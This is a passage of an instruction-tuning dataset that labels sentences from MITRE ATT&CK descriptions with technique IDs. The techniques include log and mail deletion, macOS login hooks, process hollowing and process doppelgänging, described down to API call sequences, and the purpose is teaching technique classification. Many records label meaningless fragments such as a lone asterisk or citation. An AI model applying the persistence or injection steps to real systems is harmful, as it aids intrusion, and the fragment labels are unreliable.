data to determine what occurred. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify mail and mail application data to remove evidence of their activity.", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify mail and mail application data to remove evidence of their activity. ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs.", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests.", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534),", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, to remove evidence on Exchange servers adversaries have used the <code>ExchangePowerShell</code>", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, to remove evidence on Exchange servers adversaries have used the <code>ExchangePowerShell</code> ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including <code>Remove-MailboxExportRequest</code> to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation:", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including <code>Remove-MailboxExportRequest</code> to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ExchangePowerShell Module)", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ExchangePowerShell Module) ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and macOS, adversaries may also delete emails through a command line utility called <code>mail</code>  or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation:", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and macOS, adversaries may also delete emails through a command line utility called <code>mail</code>  or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cybereason Cobalt Kitty 2017)(Citation: mailx man page)", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cybereason Cobalt Kitty 2017)(Citation: mailx man page) ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation:", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft OAuth Spam 2022)", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft OAuth Spam 2022) ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scripts can vary based on operating system and whether applied locally or remotely.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scripts can vary based on operating system and whether applied locally or remotely. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use these scripts to maintain persistence on a single system.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use these scripts to maintain persistence on a single system. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a Login Hook to establish persistence executed upon user logon.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a Login Hook to establish persistence executed upon user logon. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A login hook is a plist file that points to a specific script to execute with root privileges upon user logon.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is the same for logout hooks where a script can be executed upon user logout.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is the same for logout hooks where a script can be executed upon user logout. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The malicious script is executed upon the next user login.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The malicious script is executed upon the next user login. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a login hook already exists, adversaries can add additional commands to an existing login hook.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a login hook already exists, adversaries can add additional commands to an existing login hook. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation:", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wardle Persistence Chapter)", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wardle Persistence Chapter) ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001)", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic.", "output": "T1659", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. ### Response: T1659."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content.", "output": "T1659", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. ### Response: T1659."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)", "output": "T1659", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer) ### Response: T1659."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject content to victim systems in various ways, including:\n\n*", "output": "T1659", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject content to victim systems in various ways, including:\n\n* ### Response: T1659."}{"instruction": "List the MITRE techniques contained in the text.", "input": "From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)", "output": "T1659", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM) ### Response: T1659."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1659", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1659."}{"instruction": "List the MITRE techniques contained in the text.", "input": "From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)\n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.", "output": "T1659", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)\n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception. ### Response: T1659."}{"instruction": "List the MITRE techniques contained in the text.", "input": "\"(Citation:", "output": "T1659", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: \"(Citation: ### Response: T1659."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky ManOnTheSide)(Citation:", "output": "T1659", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky ManOnTheSide)(Citation: ### Response: T1659."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)", "output": "T1659", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack) ### Response: T1659."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055).", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These changes will be isolated and only visible within the context of the transaction.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These changes will be isolated and only visible within the context of the transaction. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Load \u2013 Create a shared section of memory and load the malicious executable.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Load \u2013 Create a shared section of memory and load the malicious executable. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Animate \u2013 Create a process from the tainted section of memory and initiate execution.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Animate \u2013 Create a process from the tainted section of memory and initiate execution. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process hollowing is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process hollowing is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>  before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>  before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017) ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions.", "output": "T1055.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming 